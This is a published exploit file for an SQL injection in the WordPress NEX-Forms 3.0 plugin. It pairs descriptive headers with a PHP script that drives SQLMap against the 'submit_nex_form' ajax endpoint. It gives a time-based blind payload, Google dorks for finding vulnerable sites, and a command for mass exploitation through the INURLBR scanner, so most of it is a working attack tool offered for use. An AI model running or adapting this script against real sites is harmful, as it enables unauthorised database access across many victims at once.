# AUTOR SCRIPT:  Cleiton Pinheiro / Nick: googleINURL
  # Exploit name:  MINI 3xplo1t-SqlMap - WordPress NEX-Forms 3.0 SQL
Injection Vulnerability
  # Type:          SQL Injection
  # Email:         inurlbr@gmail.com
  # Blog:          http://blog.inurl.com.br
  # Twitter:       https://twitter.com/googleinurl
  # Fanpage:       https://fb.com/InurlBrasil
  # Pastebin       http://pastebin.com/u/Googleinurl
  # GIT:           https://github.com/googleinurl
  # PSS:           http://packetstormsecurity.com/user/googleinurl
  # YOUTUBE:       http://youtube.com/c/INURLBrasil
  # PLUS:          http://google.com/+INURLBrasil
  # Who Discovered
http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli
  # Vulnerability discovered by: Claudio Viviani



# VENTOR
https://wordpress.org/plugins/nex-forms-express-wp-form-builder/

# Vulnerability Description
The "submit_nex_form" ajax function is affected from SQL Injection
vulnerability

# Tool Description
Automation script explores targets with the help of SqlMap tool Execute
command SqlMap

{$params['folder']} -u
'{$params['target']}/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1'
  --technique=B -p nex_forms_Id --dbms mysql {$params['proxy']}
--random-agent
  --answers='follow=N' --dbs --batch --time-sec 10 --level 2  --risk 1

# GET VULN
SQL can be injected in the following GET

GET VULN:     nex_forms_Id=(id)
$nex_forms_Id=intval($_REQUEST['nex_forms_Id'])
Ex:
http://target.us/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1

# XPL inject DBMS: 'MySQL'

Exploit:  AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)
- GOOGLE DORK

inurl:nex-forms-express-wp-form-builder
index of nex-forms-express-wp-form-builde
# COMMAND --help:

    -t : SET TARGET.
    -f : SET FILE TARGETS.
    -p : SET PROXY
    Execute:
                  php wp3xplo1t.php -t target
                  php wp3xplo1t.php -f targets.txt
                  php wp3xplo1t.php -t target -p 'http://localhost:9090'

# EXPLOIT MASS USE SCANNER INURLBR

./inurlbr.php --dork 'inurl:nex-forms-express-wp-form-builder' -s
wp3xplo1t.txt -q 1,6 --comand-vul "php wp3xplo1t.php -t '_TARGET_'"
# DOWNLOAD INURLBR

https://github.com/googleinurl/SCANNER-INURLBR

# REFERENCE
[1] http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli

EXPLOIT CODE:

<?php

/*
  [ I N U R L  -  B R A S I L ] - [ By GoogleINURL ]

-----------------------------------------------------------------------------

  # AUTOR SCRIPT:  Cleiton Pinheiro / Nick: googleINURL
  # Email:         inurlbr@gmail.com
  # Blog:          http://blog.inurl.com.br
  # Twitter:       https://twitter.com/googleinurl
  # Fanpage:       https://fb.com/InurlBrasil
  # Pastebin       http://pastebin.com/u/Googleinurl
  # GIT:           https://github.com/googleinurl
  # PSS:           http://packetstormsecurity.com/user/googleinurl
  # YOUTUBE:       http://youtube.com/c/INURLBrasil
  # PLUS:          http://google.com/+INURLBrasil

  # Who Discovered
http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli
  # Vulnerability discovered by: Claudio Viviani

-----------------------------------------------------------------------------

  # EXPLOIT NAME: MINI exploit-SQLMAP - WordPress NEX-Forms 3.0 SQL
Injection Vulnerability / INURL BRASIL
  # VENTOR:
https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
  # Dork Google:  inurl:nex-forms-express-wp-form-builder
  # Dork Google:  index of nex-forms-express-wp-form-builde
  # GET VULN:     nex_forms_Id=(id)
  # $nex_forms_Id=intval($_REQUEST['nex_forms_Id'])

-----------------------------------------------------------------------------

  # DBMS: 'MySQL'
  # Exploit:       AND (SELECT * FROM (SELECT(SLEEP(10)))NdbE)


-----------------------------------------------------------------------------

  # Info:         The "submit_nex_form" ajax function is affected from SQL
Injection vulnerability
  # POC:
http://target.us/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=(id)+Exploit

-----------------------------------------------------------------------------

  # --help:
  -t : SET TARGET.
  -f : SET FILE TARGETS.
  -p : SET PROXY
  Execute:
  php wp3xplo1t.php -t target
  php wp3xplo1t.php -f targets.txt
  php wp3xplo1t.php -t target -p 'http://localhost:9090'

-----------------------------------------------------------------------------

  # EXPLOIT MASS USE SCANNER INURLBR
  # COMMAND: ./inurlbr.php --dork 'inurl:nex-forms-express-wp-form-builder'
-s wp3xplo1t.txt -q 1,6 --comand-vul "php wp3xplo1t.php -t '_TARGET_'"
  # DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR

-----------------------------------------------------------------------------
  INFO:
http://www.homelab.it/index.php/2015/04/21/wordpress-nex-forms-sqli/
 */


error_reporting(1);
set_time_limit(0);
ini_set('display_errors', 1);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
$folder_SqlMap = "sqlmap"; // set the folder! ex: python
../../sqlmap/sqlmap.py
$op_ = getopt('f:t:p:', array('help::'));
echo "
\t\t\t\t  _____
\t\t\t\t (_____)    ____ _   _ _    _ _____  _                 ____
       _ _
\t\t\t\t (() ())  |_   _| \ | | |  | |  __ \| |               |  _ \
       (_) |
\t\t\t\t  \   /     | | |  \| | |  | | |__) | |       ______  | |_) |_ __
__ _ ___ _| |
\t\t\t\t   \ /      | | | . ` | |  | |  _  /| |      |______| |  _ <| '__/
_` / __| | |
\t\t\t\t   /=\     _| |_| |\  | |__| | | \ \| |____           | |_) | | |
(_| \__ \ | |
\t\t\t\t  [___]   |_____|_| \_|\____/|_|  \_\______|          |____/|_|
 \__,_|___/_|_|
\t\t\t\t\033[1;37m0xNeither war between hackers, nor peace for the system.\n
\t\t\t\t[+] [Exploit]: MINI 3xplo1t-SqlMap - WordPress NEX-Forms 3.0 SQL
Injection Vulnerability / INURL BRASIL\n\t\t\t\t[+] [help]:
 --help\033[0m\n\n";
$menu = "
\t\t\t\t    -t : SET TARGET.
\t\t\t\t    -f : SET FILE TARGETS.
\t\t\t\t    -p : SET PROXY
\t\t\t\t    Execute:
\t\t\t\t                  php wp3xplo1t.php -t target
\t\t\t\t                  php wp3xplo1t.php -f targets.txt
\t\t\t\t                  php wp3xplo1t.php -t target -p '
http://localhost:9090'
\n";
echo isset($op_['help']) ? exit($menu) : NULL;

$params = array(
    'target' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ?
$op_['t'] : "http://{$op_['t']}") : NULL,
    'file' => !not_isnull_empty($op_['t']) && not_isnull_empty($op_['f']) ?
$op_['f'] : NULL,
    'proxy' => not_isnull_empty($op_['p']) ? "--proxy '{$op_['p']}'" : NULL,
    'folder' => $folder_SqlMap,
    'line' =>
"\t\t\t\t--------------------------------------------------------------------------------------------------------"
);

not_isnull_empty($params['target']) && not_isnull_empty($params['file']) ?
exit("\t\t\t\t[X] [ERRO] DEFINE TARGET OR FILE TARGET\n") : NULL;
not_isnull_empty($params['target']) ? __exec($params) . exit() : NULL;
not_isnull_empty($params['file']) ? __listTarget($params) . exit() : NULL;

function not_isnull_empty($valor = NULL) {
    RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE;
}

function __plus() {
    ob_flush();
    flush();
}

function __listTarget($file) {
    $tgt_ = array_unique(array_filter(explode("\n",
file_get_contents($file['file']))));
    echo "\n\033[1;37m[!] [" . date("H:i:s") . "] [INFO] TOTAL TARGETS
LOADED : " . count($tgt_) . "\033[0m\n";
    foreach ($tgt_ as $url) {
        echo "\033[1;37m[+] [" . date("H:i:s") . "] [INFO] SCANNING :
{$url} \033[0m\n";
        __plus();
        $file['target'] = $url;
        __exec($file) . __plus();
    }
}

function __exec($params) {
    __plus();
    echo "\033[1;37m{$params['line']}\n[!] [" . date("H:i:s") . "] [INFO]
starting SqlMap...\n";
    echo "[+] [" . date("H:i:s") . "] [INFO] TARGET:
{$params['target']}/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id={SQL-INJECTION}\033[0m\n";
    $command = "{$params['folder']} -u
'{$params['target']}/wp-admin/admin-ajax.php?action=submit_nex_form&nex_forms_Id=1'
"
            . " -p nex_forms_Id --dbms mysql {$params['proxy']}
--random-agent "
            . " --answers='follow=N' --dbs --batch --time-sec 10 --level 2
 --risk 1";
    system($command, $dados);
    __plus();
    exit(0);
}